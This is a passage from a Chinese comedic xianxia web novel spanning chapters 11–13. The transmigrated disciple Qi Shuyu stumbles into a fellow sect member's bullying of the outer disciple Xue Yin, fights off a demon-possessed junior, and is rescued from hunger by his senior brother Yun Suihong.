下巴敦厚结实,
眉眼犀利。
板着脸和抓上学迟到的教导主任十分神似。
他有些尴尬,
捂着胃条件反射道:“报一丝,您也太平平无奇大众脸了,我实在是没把您放心上过,那——师弟您姓啥来着?”
“鄙人姓王。”
“哦哦哦哦好的好的王师——”
“王二麻子!你在那里偷什么懒!”
一名同样穿着破破烂烂弟子服的修士一瘸一拐走过来怒斥道。
“……”
“……”
原来麻师弟姓王二。
好小众的姓。
瘸子哥走近,见到身长玉立的青年后, 双眼惊喜地亮了一下。
“齐师兄!您怎么也在这里!”
他打量着齐舒玉仅沾了点新鲜泥土和草屑的衣服,崇拜道:“齐师兄不愧是年轻有为的天之骄子,实力超群,着实让我们这些弟子惭愧。”
他语速太快。不等齐舒玉把话听完,他就已经说完了。
对方搓着手把王二麻子挤开:“虽然师弟我秦天柱市井出身,但我说的可不是什么奉承话,句句出自真心奥!我知道齐师兄高风亮节,要是不爱听,就当小人、呃、师弟我在放……嗯,没说过!”
“哦对了,”
秦天柱笑盈盈地双手合掌。
“正好,您不是一直觉得薛殷那外门小犊子碍眼么!花师姐正帮您收拾他呢,您要亲自去瞧瞧吗?”
???
花师姐?
那个蚂蚁惹到她都可能会被反复鞭尸;
七情六欲修炼得只剩躁郁;
明明可以当魔教头等标兵结果硬被塞进正道来除良安暴的花怒娇吗?
一想到穿越来的第一天就被花怒娇抽过,
齐舒玉顿时不止胃痛。
头更痛。
不过换一个角度来说。
花怒娇此时才金丹初期,肯定也还没辟谷。
她那么喜欢打人。
打猎应该也不在话下吧!
“你们和花……”
“是的!多亏我跟王二麻子运气好,有幸和花师姐的传送点相近。要不说老天保佑呢,这会儿又碰到您了!”
“那薛……”
“哎!您是不知道啊!那臭瘪犊子不仅平时经常冒犯您,现在还拿了我们花师姐的宝物不肯还!花师姐脾气那么好,也被他惹急了。”
“你和……”
“您问我和王二麻子?师姐让我俩找稳妥的地方挖个坑,若薛殷那小子再不识好歹,定要好好吓唬吓唬他!”
遇上花怒娇。
就不是薛殷识不识好歹的问题了。
还挖坑给薛殷……
也不知道是准备竖着放进去,还是横着放进去。
齐舒玉瞥了眼王二麻子身边的坑。
秦天柱的视线跟着他飘过去。
随即暴怒!
“王二麻子!让你挖坑,你在这里种菜干嘛?!”
王二麻子握着手里残缺且单薄的剑:“……”
秦天柱嘴里骂骂咧咧着,不顾齐舒玉也在场,一脚踹王二麻子背上,把王二麻子踹得差点脸栽坑里。
“前半辈子都在种地还没种够呐!当什么剑修啊你,怎么不去投胎当个铲子?”
“哎哟—”
王二麻子的痛呼声戛然而止,四肢着地,双手撑在土坑两边。
他垂下眼。
似乎被踹傻了。
过了会儿他才反应过来,
起身默默拍掉沾上的土块。
“你那是什么眼
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神?!”
秦天柱和王二麻子对视一眼,又开始发火。
估计是饿过头,这会儿身体习惯了,终于头不晕眼不花的齐舒玉才来得及伸手拦一下秦天柱的拳头。
“好了,留点力气吧。太阳下山后魔兽又要出来了。”
秦天柱对着齐舒玉陪笑,
转脸愤愤地冲王二麻子吐了口唾沫星子。
“齐师兄说得对,那师弟我先领您去花师姐那儿瞧场好戏!天黑就看不见了。”
齐舒玉回想起花怒娇那张脸。
浑身汗毛都快炸了。
什么戏?
那个现在有多鄙视薛殷以后就有多爱他顺带超恨女主眼睛长头上的花怒娇和小鸡肚肠未来大魔王宝座继承人但现在没有丁点本事的薛殷的单方面打斗戏吗?!
太精彩了吧!
“不……”
“不要耽误时间?那师兄我们快点走吧!”
“唉,王二麻子,你他娘回去种……挖你的坑,跟着我们干甚!”
“——跟你说话呢?!听到没?”
“我不想帮他挖坑哈,但是如果有借口……”
“有借口让他跟着?既然是齐师兄的决定,当然可以!”
“——喂!臭王二麻子,走快点听到没?!天都要黑了!”
齐舒玉的“不”字没机会完整说出来,人就稀里糊涂地被秦天柱架到了一颗完整且巨大的石头后面。
这个石头目测能遮住五个成年男子的身型。
关键是。
离花怒娇她们差不多一个操场远。
齐舒玉:……
看什么啊?!
演唱会最外场还能看到大屏幕呢!
刚站定。
一道尖锐高昂的斥骂响破长空。
“薛殷——你别不识好歹!”
与此同时。
漫天尘土飞扬,
树丛炸裂声此起彼伏。
秦天柱脸色煞白,
努力挤出一个笑来。
“花师姐似乎有正事,或许我们可以稍等片刻。”
齐舒玉抹把脸。
藏起发软的双脚,点点头。
五分钟后……
观望着不远处近乎废墟中的三道身影。
齐舒玉发自内心地感叹,长垣也太会模仿见过的人了吧?!
甚至没发生过的也能预测!
活脱脱一个AI转人工。
粉色的上官玲珑:
“薛哥哥你撑住!一定会有人来帮我们的!”
“呜呜呜呜薛哥哥!薛哥哥你怎么了?!”
黑色的薛殷:隐忍、吐血
上官玲珑泪眼婆娑,和在昨天梦里的场景一样哭得像只小猫咪:“师姐!求求你停手,薛哥哥身上的伤好重!”
……很遗憾。
站在她对面的不是齐舒玉,是花怒娇。
以齐舒玉的阅读经验推断。
言情小说里的女反派,
是不会爱上美丽女主的。
她们只想当女主。
“呵。”小长腿高马尾女子眉尾一挑。同样是破旧的白色弟子服,在她身上却是气势高昂的软甲。
“没用的东西,”花怒娇嫌弃地瞥了上官玲珑一眼:“修道之人,身为坤元剑派内门弟子,整天对着一个外门废物‘哥哥’来‘哥哥’去 。丢人现眼。”
齐舒玉收回心疼小师妹的目光。
十分冷静。
花师姐说话这么有道理,
难怪被派到言情文里当反派。
女主要这么有逻辑,恋爱还谈得下去?
“我再说一遍,把天星蛇尾环交出来!”花怒娇语带讥讽:“凭你们二人加起来的实力,天星蛇尾环你们这辈子用不上。”
天星蛇尾环?
这不是等几个男主都出场后,薛殷作为男人的绿帽感爆棚才开始给女主大献殷勤,帮她融剑增加武器灵活点的材料吗?!
这么早就出现不对劲吧。
可千万别像其他小说那样拉炮灰的死亡进度条!
齐舒玉忍不住探头。
即便这么远距离,也一下子对上了那双沉得发黑的眸子。
11. 绿茶
“……”
齐舒玉睁大眼睛和薛殷对视。
呃。
心虚是哪里来的?
都说眼睛是心灵的窗户,希望薛殷可以明白,即使此刻师兄人在花师姐身后,但心里那杆没用的称还是偏向他的。
上官玲珑哭哭啼啼:“师姐!我们真没见过你说的天星蛇尾环,呜呜呜。求求你们不要再打了,呜呜呜呜呜呜呜,师姐,我知道你是因为讨厌我才针对薛哥哥,你别这样,有什么事冲着我来好了!”
“上官玲珑,我看你真是蠢过头了,”花怒娇声音里是掩饰不住的鄙视:“你除了长相,其他样样不如我,不过空头草包一个,讨厌你做甚?”
“呜呜呜呜因为我师尊曾放话五百年内只收一徒,现在墨君山都知我是师尊唯一的徒弟,你自然不喜我。”
秦天柱在齐舒玉旁边扑哧一声笑了出来:“小师妹到底还是个孩子,皇甫师伯的“独门弟子”听着名头响亮,可哪有求道者千辛万苦来坤元剑派当医修的。”
……女主就是。
齐舒玉怕他笑得太大声被发现,
转过身来把他嘴巴捂住。
很快。
两人惊恐地发现彼此都笑不出来了。
花怒娇在沉默。
老天!
那个女霸王在沉默些什么东西啊??!!!
难道言情小说女主岗位竞争是医学生优先吗?
“师尊说当年你求他,他都没答应,我却是他三番四次找掌门求得的首徒。呜呜呜呜,师姐,你现在听说此事,会不会更讨厌我了?”
上官师妹,你有话不要讲这么大声。
现在好了。
讨厌完你,
该轮到讨厌我们了。
秦天柱的脸颊已然血色全无:“师、师兄,我好像把王二麻子的剑弄丢了,我、我我我去找找找找一下。”
齐舒玉牙齿打架:“……你一个人不好找,我帮你。”
当他们左脚迈出去第一步时——
“谁在那里?”
“……”
“出来。”
花怒娇道:“我只数到三。”
齐舒玉又把秦天柱往里挤了挤。
出去?
才怪嘞。
这招钓鱼法齐舒玉见多了,咬死不认就相当于无事发生。
结果他刚把脚收回来,膝窝就被人从后面踹了一脚,身子直接闪了出去。
“……”
他回头看。
秦天柱正双手合十跪在地上给他磕头。
磕完后马上变个脸,
把王二麻子也一起扔了出来。
齐舒玉:……
什么背,能经得住一个男人这么刺!
但没时间找秦天柱麻烦了,既然被发现,花怒娇‘数到三’的威力自然翻倍,不等她把二数完,齐舒玉已经硬着头皮出现在她攻击范围内了。
“呜呜呜呜——师兄!你是来救我们的对不对?!”
上官玲珑一见到面容白净的俊秀青年,眼泪流得像开了闸的洪水,一边警惕地盯着花怒娇,一边梨花带雨地对齐舒玉说出他昨晚在梦里预习过的话。
“快来帮帮薛哥哥吧,他受了好重的伤!”
真是够了。
没一句我想听的。
齐舒玉的怜惜劲儿才冒头就被自己摁回去,板着张脸,任由花怒娇上下打量。
“齐师弟不愧是白师伯的掌上明珠,赤手空拳也能在秘境里游刃有余,倒不似近日师伯向掌门诉苦的那般修为倒退,还是说——师弟什么时候也长出脑子来,也学会了藏拙?”
花怒娇眼珠子转了转,语气里有几分玩味,不屑道:“突破筑基也才一年多罢了,上不了台面的家伙。”
她天生单火灵根,十五岁筑基,是修真界小有名气的灵器锻造师花鸿申独女。
齐舒玉头痛。
十五岁果然是个纯恨的年纪啊!
逮谁骂谁。
当然,
在缺少九年正规教育镇压的小说里,
齐舒玉很包容她的语言输出。
毕竟他现在连区区挨打也不在话下。
要知道,在云岁鸿回山之前,花怒娇的讨论热度在整个墨君山都名列前茅,在弟子中风头无两。
因花鸿申早年与坤元剑派现任掌门祝岳明是挚友,她从小就受祝岳明教导,筑基之后更是顺理成章拜入祝岳明的御星殿。
她的‘天之骄子’一直当了二十多年。
直到坤元剑派某位几百年前人魔战里已故长老的隐世‘天才’后人被找到。
山里从此炸锅炸到无暇顾及她。
很巧,这么血脉纯正的拉仇恨角色,
就是小干一场后会被干掉的炮灰——‘齐舒玉’。
加上有白平飞这种上了年纪啥都不听的老头,对齐舒玉这个大弟子宝贝得令人发指,就差让原身在墨君山踩着别人的头走路了。
虽然齐舒玉单木灵根且未及弱冠筑基,可代入整个修真界的修练流程:
炼气、筑基、虚丹、金丹、元婴、化神、炼虚、合体、大乘——渡劫飞升。
他这才哪到哪。
花怒娇怎么可能见得惯有人比她还气焰嚣张,背着白平飞收拾他好几回了,穿越过来后的齐舒玉有时甚至走路上踢个石子都会被她跳出来打。
报警都报不了!
她用下巴尖指了指王二麻子。
“和这个麻子脸在一块儿的瘸子呢?被你杀了?”
“我杀他干什么?”
齐舒玉嘴巴不受控制道:“他怕你这个母老虎怕得要死,躲在石头后面不敢出来。”
花怒娇:“?”
“你说什么?”
……
说了实话。
齐舒玉嘴唇蠕动,
犹豫要不要再重复一遍。
“齐师兄说——咳、咳咳,师姐恶如夜叉……。”
我靠!
齐舒玉目光惊疑不定地转头。
半边身子瘫在地上的少年被上官玲珑搂在怀里,
一把锃亮的软剑插在肌肉线条匀称的大腿上,弯弯地弹来弹去。
每弹跳一下,
便溅起小片血花。
一袭黑衣印着大片有深有浅的痕迹。
不用猜。
如果换成白衣,这幅场景就会是播出时需要打码的程度。
几日没碰面的薛殷越发清瘦,见齐舒玉表情忿忿地瞪他,慢慢抬起眼皮,用指腹缓缓拭去唇角的血迹。
那眉心、眼尾、鼻梁上也都布满细小伤痕。
整个人精致又破碎。
……
该死的绿茶!
手段实在太高了!
“我原话不是那么说的,”
齐舒玉立刻双手举过头顶反驳道:“不过心里是这么想的。”
不用回头齐舒玉也知道那声嘲笑是谁发出来的。
花怒娇一双杏眼瞪得浑圆,呼吸沉重地来回扫视两人,脸色着实精彩了好一阵,而后皮笑肉不笑地哼了声,眼神直盯得齐舒玉脊梁发毛,才走过去慢条斯理拔出插在薛殷腿上的剑。
少年一声不吭,额尖却有冷汗划过绷紧的下颚。
苍白的指尖死死扣进泥土中,衣袖上未干涸的血迹顺流而下。
“骨头这么硬,真是个练剑的苗子。”
花怒娇悠哉悠哉地将剑身上的血渍擦在薛殷衣领上,红唇讥诮:“可惜在求仙路上是个
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废物,劝你早点回去你们凡人的地方,还能靠街头卖艺糊个口。”
类似话连才来半年多的齐舒玉都听出老茧了,薛殷也没有什么表情。
但跪坐在旁的少女却发出坚定的反对声:“薛哥哥以后必定能求得大道的!不许你这么小看他!”
上官玲珑一双清纯小鹿眼燃烧着愤怒。
“你这只夜叉母老虎。”
回想起在乾坤殿发生过什么的齐舒玉:……
太勇了,
我的勇敢姐!
花怒娇那张岁月停留在15岁的脸上看不出神色,倒是握剑的手紧到发抖,手臂一挥,用力将软剑朝百米外的大石投掷出去。
利刃在石面上擦出一道火花。
轰响过后,巨石一分为二,露出正瑟瑟发抖着朝上空祈福的身影,周围草地都快被他跪穿了。
齐舒玉闭上眼。
不好意思了擎天柱,
最近哥的嘴巴在打假。
“三——二——一……动作太慢了。”
花怒娇上前半步,一脚踹在连滚带爬过来的秦天柱脸上,把他踹回去几十米远,倒在地上不再动弹。
她双手环胸,眯着眼睛看了秦天柱好一会儿,似乎在确认他是否真的爬不起来后,偏头对王二麻子道:“去,把我的剑取回来。”
王二麻子道了声是,眼角耷拉着,十分忠厚老实。
“天也快黑了,这秘境古怪得很,高阶的魔兽居然会群聚,”花怒娇对着王二麻子的背影呢喃,转身朝齐舒玉背上踢了脚:“别浪费时间,去搜搜那个废物的身,把我要的天星蛇尾环找出来。”
那一脚重得像是被人拿板砖围殴。
齐舒玉绷不住,龇牙咧嘴起来:“我哪见过你说的天星蛇尾环?怎么不自己搜?”
花怒娇扬了扬巴掌,挑衅的态度让齐舒玉咬牙切齿。
就算身份是炮灰,但在这个男尊女卑的时代里他可是个尊贵的男人!
花怒娇一个女配角罢了。
居然倒反天罡!
齐舒玉握紧拳头冷笑一声。
“……找不到可别怪我。”
他踢踏着脚阴狠地走到薛殷身边蹲下,嘴还没张开,上官玲珑眼泪又开始掉:“呜呜呜师兄,我们没有那个什么、什么…师姐说的那什么东西,连你也不相信我说的。”
齐舒玉被一口大锅砸得愣住:“不是那母老虎让我过来的么。”
“呜呜呜平日花师姐说什么你都反着来,才不会听从花师姐。”
“……因为今时不同往日。”
“师兄的借口罢了,呜呜呜,师兄怎么不说是怕了花师姐。”
“……难道我看着不像那种懦弱无能胆小畏事贪生怕死的鼠辈吗?
“呜呜呜呜像的。”
受不了了!
女频文里怎么也搞人身攻击?!
“小师妹快看,”齐舒玉余光扫过她,瞪大眼睛往她身后飞快一指:“快看那里什么都没有!”
“啊……是魔兽来了吗?”
上官玲珑挂着泪水呆呆地转头。
趁她转过头去的时候齐舒玉一把抓住薛殷的衣襟,双手用力。
“呲啦——”
上官玲珑回头瞬间惊叫一声,连忙捂住眼睛,怀里的人被惊慌失措地推到地上。
“齐——舒——玉——!”
少年从齿缝中挤出几个字来。
被撕开的布料多次从他颤抖无力的指尖分开滑落。
这下,
少年眼底的镇定终于荡然无存。
旁人触目所及的苍白之处都迅速沾染上一层绯色。
从耳根,
到锁骨,
再到一排井然有序的八块腹肌
12. 危机
齐舒玉下意识吹了个口哨。
“你身材练挺好嘛。”
看清薛殷脸色后,剩下半句话他讪讪地咽了回去。
少年涨红着脸咬紧牙关。
黑得发亮的眼珠子死死盯着他,眼底似有朦朦胧胧水汽,活像街上遇到流氓的小女生。
“都男的害羞个屁啊。”齐舒玉被他整不会了,一边心里别扭地对薛殷搜身,一边小声嘀咕:“死绿茶真矫情!”
搜了两遍后,自然还是两手空空。
毕竟他也怕薛殷身上真有什么,可谓是在花怒娇的死亡视线下绞尽脑汁,可以碰的地方就看着重实则轻地捏了捏,不该碰的地方尽量遮挡住自己指尖一带而过的假动作。
这手法,
即便有东西,也绝对不会查出来!
不过也不指望薛殷明白他的良苦用心了,这小子一贯不知好歹,都这么帮他了,他瞪着齐舒玉的脸色还是越来越难看,像是在忍受什么奇耻大辱。
最后齐舒玉被他看得实在受不了了,嘟囔着不情不愿地脱下自己的外衣把他裹上。
“一个大男人,不知道的还以为被怎么着了,装得还挺像那么回事——切。”
他扭头冲花怒娇言简意赅道:“什么都没找到。”
“毫不意外,”花怒娇用小指掏了掏耳朵,懒懒道:“早知道齐师弟也是个废物。”
她对正好取了剑安安静静回来的王二麻子扬了扬下巴:“你来搜。”
王二麻子眼神微动,点了点头,脚尖换了个方向,手里握着的软剑剑尖垂落,在地面划出一条断断续续的线。
齐舒玉看着逐渐逼近的身影,不由自主皱起了眉。
“拿我的剑。”
薛殷突然低声道。
齐舒玉侧目猝不及防地和他对视上了。
少年睫毛微颤一下,迅速避开青年的目光,嘴角冒血地气若游丝道:“他眼里无惧,附身了。”
地面上软剑的弹跳声无比清晰。
齐舒玉瞬间起了层鸡皮疙瘩,难怪刚才就觉得麻师弟被踹了一脚之后就总有木偶人的既视感。
也是。
在这种不科学的地方怎么可能有大老爷们简单地生闷气!
齐舒玉身体比脑子快地捡起斜插.在草地里的半截破剑。
看见他的动作,“王二麻子”大概也明白自己暴露了,五官扭曲着飞扑过来,目的十分明显地朝向薛殷。
在上官玲珑的尖叫声中,齐舒玉反手握住刀柄,由下至上冲上王二麻子的手腕,准备先把他手里的剑打落。
先前下山历练的那段时间,他早就对同行人的实力一清二楚。
原主再炮灰也是拿了天赋加持的基因,这几人无论路途中多么起早贪黑地苦练,也不如他练功走神时的条件反射。
但此时,齐舒玉的招数落空了。
“王二麻子”的动作比原先快了十倍不止。
手腕轻轻一翻,不仅躲开齐舒玉的剑柄,右手的软剑甚至换到了左手去。
剑尖甩过。
齐舒玉的鼻梁上多了道血痕。
他迅速回神。不愧是花鸿申精心之作,这点小口子传达到神经的痛楚程度,像是鼻梁骨被划开了。
薛殷的剑相比之下,说是坤元剑派从外面商店批发来的破铜烂铁也不为过。
还是只剩一半的破铜烂铁。
幸而王二麻子的基础底子摆在那里,即使身手加速十倍在齐舒玉眼里也快不到哪儿去。
除了那Q弹劲道的软剑很难缠。
花怒娇自然没有帮忙的打算,还在后面阴阳怪气地长叹一声:“师弟果然还是毛头小子,这下沉不住气打草惊蛇了,哎——坏了计划。师姐还想知道他到底有何打算呢。”
齐舒玉百忙之中忍不住抽空回嘴道:“你这母老虎少装,那小白眼狼身上肯定没有你要的天星蛇尾环,你就是看上他了才污蔑他的。”
“还真是师弟错怪我。师姐可是亲眼看到蛇尾环跳进这外门废物的衣服里去的。不过灵物择主,发现不对劲溜了也正常。”花怒娇被被骂几次母老虎也不生气了,声音里听不出情绪地叮嘱“听说你最近懈怠不少,正好有现成的练练手也不错。”
“可别出手太重,好歹也是同门,被魔物附身还能救得回来。”
齐舒玉差点破口大骂。
愈发束手束脚。
又要避开晃来晃去弹力十足的软剑,又要想办法打昏他,忙得满头是汗。
“王二麻子”也没好到哪里去。
无论是腕力还是四肢协调程度都不足以控制花怒娇的软剑。基本上给齐舒玉添一道伤的时候会给自己添上两三道,动作便逐渐缓慢。
没过几招,这具身体已是极限了。
他双眼一闭,自己“砰”地一声倒下来。
天已经完全黑了。
空气里魔兽的腥臭又开始弥漫。
怕他有诈,齐舒玉喘着气在原地休息好一会儿,确定对方真的不会爬起来了,才挪过去小心翼翼踢了一脚。
见王二麻子真不动了,花怒娇大摇大摆过来,在齐舒玉弯腰之前拿回了自己的剑。
齐舒玉本着“好男不跟女斗”的男德没跟花怒娇多计较。
心里对女主又加了一分。
刚刚上官玲珑可是拿了香香的手绢给他擦汗,夸他身手敏捷的。
“现在我们怎么办呀,齐师兄。”
经过方才的大展身手,上官玲珑这会儿大概是崇拜上他了,语调软软地征求意见。
齐舒玉的疲惫顿时一扫而光,浑身似乎又充满力量。
“能不能听师兄的安排?”
上官玲珑忙不迭点头。
“好,只要你乖乖的,师兄保准你安然无恙。”
他就像世界上所有男人味爆棚的猛男一样,豪情壮志道:“我们就一起在这里等大师兄找过来吧!”
“……”
“……”
“……”
“都看着我不说话是什么意思?”
花怒娇冷笑: “差点指望你这个蠢货真有什么主意。”
“你懂什么,”
齐舒玉不服气地反驳:“大师兄肯定会找过来的。”
女主在这儿呢!
他瞎走也能碰上。
“你倒是信云岁鸿没给你下巡回蛊。”
“那肯定不会。”
这可是先进的修仙小说,
下蛊说出去多少有点落后了!
齐舒玉突然“嘶——”了声,捂着胃躬下身子跪在地上,全身血液倒流太快,两颊甚至有些麻木。
太糟糕了。
那种噬骨的饥饿感又卷土重来。
上官玲珑吓了一跳,软软地半抱着他的手臂,拂去他额头的薄汗,语气担忧:“师兄?!师兄你怎么了?!”
脸色煞白的青年气若游丝,努力在黑夜里挤出一抹微笑。
“没事……就是有点饿。”
“……”
上官玲珑愣了下:“师兄多久没有进食了?”
“…今天一整天吧。”
“不像,”花怒娇出言嘲讽道:“以师弟的痛苦程度,怕是外门弟子也要饿上十天半个月才有此模样。”
齐舒玉已经没力气搭理她了。
他现在好想云岁鸿的烧烤,实在没有哪怕是给他烤鱼也愿意的,反正前几天也没少吃。
胃里激烈的灼烧和绞痛差点刺激到他这个猛男落下泪来。
齐舒玉努力眨眨眼睛,试图让朦胧的视线保持清晰。<
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“师弟?”
恍惚间,他听到一道沉稳磁性的熟悉声。
“我在秘境里修为不足,只猎到一头小魔兽,现在烤怕也是来不及,你先吃点果子缓解少许吧。”
齐舒玉头脑混沌地听不清这人在说什么。
但隐约能感觉到吞下果子时,
自己体内旺盛的灼烧正在逐渐消退。
他松开牙关正想说话,却意识模糊地发出一声难耐的鼻音。
我靠!
这他妈哪个娘炮的声音。
齐舒玉打了个激灵,
意识清醒了一半。
他发现自己正仰着脸,手里拽着身前人白色的衣角。
一时之间他好像又恍惚起来,
湿润的睫毛不明所以地缓缓扇动。
粗糙有力的指腹将果子从青年嘴角塞进去,抽出来,再好心地摩挲过青年通红湿润的眼角。
“师弟慢点吃。”
双目失神的青年下意识地缓缓咀嚼起来。
汁水从破碎的果肉中迸发,但他显然没尝出来是什么味道。
**
“秘境里可能也关了魔族,”依着火光,云岁鸿将王二麻子翻过去背面朝上,从领口掀开衣服,在肩胛骨往下的脊背中心位置,弥漫着大片淤黑:“只有被魔族附身才会有这种印迹。”
上官玲珑五根手指头在脸上半遮半掩,哇了声:“大师兄知道好多。”
云岁鸿温和谦逊道:“经验所得。”
“我原以为只是被普通魔物附身,若被魔族附身过,那岂不是到天涯海角也能再找到他?!”花怒娇皱眉打断道:“但为何长垣秘境里会现魔族身影?门内有令,凡弟子在墨君山见到魔族,不必过问,一律斩杀。”
面容娇俏的少女不由追问:“是师祖关押进来的吗?”
白衣剑士不置可否。
“听闻师祖在百年前曾谈论过秘境中的魔兽,至于魔族一事,尚未言明。”
高马尾少女的眉头愈发紧蹙。
上官玲珑歪了歪头,清澈的目光扫过两位沉默不语的师兄师姐:“那大师兄的意思是……”
一旁倚靠在大石上的少年嗓音清冷:“墨君山或许不知道有魔族进来了。”
“不知道?”齐舒玉躺在上官玲珑怀里心里美滋滋地伸懒腰:“没有结界么?”
“偌大一个墨君山,上万名弟子,能积年累月支持这般结界,你当申墨真神下凡么?”薛殷语气嘲讽,说出自齐舒玉认识他以来最长的话:”也不过是肉体凡胎罢了。”
“放肆,师祖可容你置喙?!”
花怒娇喝道,又要去抽盘在腰间的软剑。
“你干嘛啊母老虎!再捅他就死了!你杀人能不能背着我们点啊,”齐舒玉吓得连忙跳起来拦住她:“你这么凶以后还怎么嫁给他?!”
“齐舒玉!你在胡言乱语什么?!”
“哈,没、没什么,”齐舒玉干巴巴道:“我是不可能娶你这种母老虎的,你还是嫁给别人吧。”
“别以为大师兄在这里我就不会对你出手!”
“大师兄在这里你也要对我出手?!太饥渴了吧你。”
“你……你!”
“齐师兄,花师姐,别吵了呀!”上官玲珑挡在两人之间焦急道:“我们应该齐心协力,想想现在出不去,怎么通知墨君山上下!不能让大家都遇到危险!”
她思索片刻。
“我们要抓住他才行。”
齐舒玉捂住耳朵不想听下去。
有附身本事的魔族,叫做小有实力。
在申墨和秘境之神眼皮子底下溜进来的魔族,叫做颇有实力。
在这种没蓝条没道具的节骨眼上,
哥劝你少管闲事。
13. 狗男人
上官玲珑俏丽的五官在火光下愈发生动明艳,眼神坚定:“不管怎么说,现在薛哥哥受了重伤,我们应该先替他止血疗伤才是,若魔族趁虚而入,薛哥哥多危险呀。”
花怒娇很是瞧不起她道:“那就更应先收制魔族,以这废物的实力,方才没有被附身也只是运气罢了。”
“师妹。”
云岁鸿不轻不重地唤了她一声。
花怒娇身子瞬间有些僵硬,眼底的轻蔑化作凝重,不甘不愿地收了声。
上官玲珑的目光当即转向云岁鸿,有些委屈道:“明明是师姐污蔑薛哥哥拿了什么宝物,硬逼着他交出来,还要搜他的身,薛哥哥不过抵挡两招就被她说是以下犯上——没有的东西我们怎么拿得出来?!”
云岁鸿侧脸微微朝向花玲珑。
“师兄!我真的看到天星蛇尾环跳进他衣服里了!”花怒娇着急忙慌地解释道:“您也知我找蛇尾环有些时日了,这东西对别人又没有用,情急下只想让他交出来罢了。况且薛殷的剑招阴险狡诈,才不是简单抵挡,分明是冲着我命门来的,我是出于本能还手……”
齐舒玉默默挤到云岁鸿的另一侧,仰望星空四十五度,叹口气幽幽道:“花师姐,咱们都知道薛师弟不过一个外门弟子,有没有那本事你心里最清楚吧!”
他刚才受过花怒娇的气,这会儿有她家亲生大师兄坐镇,添堵的勇气简直手到擒来。
顺便还能帮薛殷当嘴替刷好感度,
完全两全其美嘛!
齐舒玉喜滋滋地看向薛殷。
少年却极其冷淡地垂下眼。
下颌角处紧绷的肌肉若隐若现。
齐舒玉:……
不识抬举!
女频文真要让青春叛逆期还没结束的小孩当男主吗?!
他五官扭曲着在云岁鸿的凝视下闭了嘴,
乖乖盘起叠在一起抖的两条腿。
顺便也自觉放下搭在云岁鸿肩上的手。
云岁鸿收回目光,不紧不慢地开口道:“薛师弟只是灵根尚未开窍罢了,但我也见过薛师弟的剑招,师弟对剑术的领悟并不亚于你们师姐。”
上官玲珑听得连连点头,露出与有荣焉的激动笑容:“大师兄说得没错,薛哥哥其实真的很厉害!”
花怒娇的表情变得不是很好看。
嘴唇嚅动两下似乎想说什么,
硬生生忍住了。
齐舒玉当然知道薛殷有多厉害。
奈何平时薛殷的废物形象过于深入人心,
要是他敢对着薛殷这么夸肯定被当作反话记恨在心。
不过现在有了云岁鸿开这个口,
以后完全可以闭着眼睛对薛殷乱夸了!
齐舒玉装作沉思道:“还是大师兄吹牛管用。”
云岁鸿瞥他一眼,
没有接话。
“坤元剑派有戒,‘凡故意重伤同门者,不问缘由,一律逐出墨君山。’若师妹非有意伤及薛师弟,自然是愿意极力弥补的。”
花怒娇的脸色在火光下更加难看。
云岁鸿视若无睹,转而神色温柔地朝着明艳少女微微颔首:“上官师妹,我与师妹都不擅草药,若能请你助一臂之力再好不过。”
上官玲珑正忙不迭要点头答应,他却又打断道:“天色已晚,秘境之中危险重重,若离开火光,我如今亦不能保上官师妹毫发不伤……”
白衣剑士眸光里似有星火,
温柔刚毅的面庞荷尔蒙大爆发。
“但云某在此立誓,绝对会以自己的性命相护师妹。”
靠!
云岁鸿讲话也太Man了!
“我磕了我磕了!”别说上官玲珑,连齐舒玉身为男人都被这种话折服了,佩服地一把抱住云岁鸿胳膊:“那大师兄也可得保护好我才行!”
贴在他手心的肌肉在刹那间绷起来,
紧接着怀里一空。
白衣剑士用听不出什么语气的声音讲出最晴天霹雳的话。
“师弟留在此地照应。”
“啊?!我不要!”齐舒玉又是抖肩膀又是跺脚,见云岁鸿神色不变后立刻躺下来打滚:“我不要!”
他还记得昨晚梦里长垣变成薛殷模样给他演的‘鬼片’有多震撼。
夜色阴影中,
少年默不作声。
半边身子都沾染着血迹。
怎么看心里都有点毛毛的。
“齐、齐师兄……云师兄……那个……”
“齐舒玉,我数到三!一……”
“好吧!”齐舒玉木着脸飞速起身,对着用一句话让两个女人为他卖命的云岁鸿恨恨道:“狗男人你一次把两个妹,欠兄弟一个解释!”
云岁鸿像是没听见不该听的,淡定道:
“若所遇魔族并未远离,三位师弟此刻自然需要有人照应。”
“好吧……”
齐舒玉确实反驳不了这个事实。
万一真有魔族回来了,
还能给薛殷认亲的机会。
于是退而求其次地让云岁鸿把火折子留下来。
云岁鸿眉心微不可见蹙了蹙。
“玄阳火虽能干扰魔族,并非凡火,但是寻常枝叶亦能将其引燃,齐师弟不善生火,我担心……”
“大师兄不会是以为我想私吞你的宝物在找借口吧!”
在地上滚得发丝凌乱的青年露出大受打击的模样。
修真界的确都很重视自己的法宝,
但对于亲近的道友也会分享。
比如进秘境前白平飞就塞给齐舒玉大堆器物让他用。
“林子里的风这么大,把火给吹灭了怎么办?再说了,如果有魔兽路过,看不见也能一脚给踩灭了。”
“到时候我还能指望什么傍身啊?!”
“凭我两个昏迷一个重伤的师弟吗?”
“还是那个不知道躲在哪里准备吃掉我们的魔族??
“行吧……我看透了,你就是不爱我了,你倒好,孩子老婆热炕头,到时候拿我的尸体跟师尊交差,回头坟头草长两米高的时候还不给拔草!”
他转身悄悄抹眼角。
太心寒了!
真正的心寒,不是大吵大闹。
是独自一人在黑暗中抹掉眼泪。
“大、大师兄……”
上官玲珑看着齐舒玉孤单落寞的背影,又忍不住看向云岁鸿,对上他英朗的面庞,脸一热,小声温吞道:“玲珑觉得齐师兄不是那种人。”
“他就是那种人。”
云岁鸿尚未开口,花玲珑抢先上前一步挡在云岁鸿身前,眼里充满敌意:“都不知占用师兄多少法宝了。”
齐舒玉背对几人,望着星空仰头长叹一声,步履沉重地走到薛殷面前蹲下,无视少年眉头皱得能夹死蚊子,双手搭在他肩上勉强扯出微笑:“死绿茶,师兄可能会死在这里,但你绝对能活着出去!”
薛殷拂开他的手。
齐舒玉不气馁地继续搭回去。
“矫情什么啊死绿茶——别以为我不知道你早看我不顺眼,但念在咱相依为命一晚的份上,日后逢年过节有空就来哥的坟前坐坐,就算咱哥俩有代沟聊不上话,你来帮忙除除草浇浇花也是好的……”
“师弟——”
“如果师兄没死成,”齐舒玉眼睛一亮,对薛殷语速飞快道:“刚才的话你就当没听到。”
转身的时候,
齐舒玉似乎听到了少年颇为嘲讽的讥笑,却也未因此停滞半步。
云岁鸿把火折子给了他,像防火大队长一样反复叮嘱他。
